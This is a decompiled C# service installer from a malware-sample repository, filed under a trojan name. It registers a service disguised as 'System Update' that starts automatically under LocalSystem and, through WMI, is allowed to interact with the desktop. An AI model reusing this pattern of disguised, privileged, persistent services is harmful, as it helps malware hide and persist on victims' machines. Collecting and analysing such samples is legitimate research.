MalwareSourceCode/MSIL/Trojan/Win32/P/Trojan.Win32.Patched.mf-57a055e0e8642f449b4d27fa8ff9cbc0f8367d8cdd69ab6deeca9a801697bce1/ServiceInstaller.cs
2022-08-18 06:28:56 -05:00

68 lines
2.8 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Tvsu.Service.Server.ServiceInstaller
// Assembly: SUService, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: C794206D-ECC0-4CFA-AB4E-5C06FB2FD4CC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Patched.mf-57a055e0e8642f449b4d27fa8ff9cbc0f8367d8cdd69ab6deeca9a801697bce1.exe
using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Management;
using System.ServiceProcess;
using Tvsu.Service.Common.Util;
namespace Tvsu.Service.Server
{
[RunInstaller(true)]
public class ServiceInstaller : Installer
{
private System.ServiceProcess.ServiceInstaller serviceInstaller1;
private ServiceProcessInstaller serviceProcessInstaller1;
public ServiceInstaller() => this.InitializeComponent();
private void InitializeComponent()
{
this.serviceInstaller1 = new System.ServiceProcess.ServiceInstaller();
this.serviceProcessInstaller1 = new ServiceProcessInstaller();
this.Installers.Clear();
this.serviceInstaller1.DisplayName = "System Update";
this.serviceInstaller1.ServiceName = "SUService";
this.serviceInstaller1.StartType = ServiceStartMode.Automatic;
this.serviceInstaller1.BeforeUninstall += new InstallEventHandler(this.serviceInstaller1_BeforeUninstall);
this.serviceInstaller1.AfterInstall += new InstallEventHandler(this.serviceInstaller1_AfterInstall);
this.serviceProcessInstaller1.Account = ServiceAccount.LocalSystem;
this.serviceProcessInstaller1.Password = (string) null;
this.serviceProcessInstaller1.Username = (string) null;
this.Installers.AddRange(new Installer[2]
{
(Installer) this.serviceProcessInstaller1,
(Installer) this.serviceInstaller1
});
}
private void serviceInstaller1_AfterInstall(object sender, InstallEventArgs e)
{
TvsuService instance = TvsuService.Instance;
try
{
new ManagementScope("root\\CIMV2", new ConnectionOptions()
{
Impersonation = ImpersonationLevel.Impersonate
}).Connect();
ManagementObject managementObject = new ManagementObject("Win32_Service.Name='" + instance.ServiceName + "'");
ManagementBaseObject methodParameters = managementObject.GetMethodParameters("Change");
methodParameters["DesktopInteract"] = (object) true;
managementObject.InvokeMethod("Change", methodParameters, (InvokeMethodOptions) null);
}
catch (Exception ex)
{
ServiceLogger.Instance.Severe("Error using WMI to allow interact with the service", ex);
}
instance.TvsuServiceController.Start();
}
private void serviceInstaller1_BeforeUninstall(object sender, InstallEventArgs e) => TvsuService.Instance.TvsuServiceController.Stop();
}
}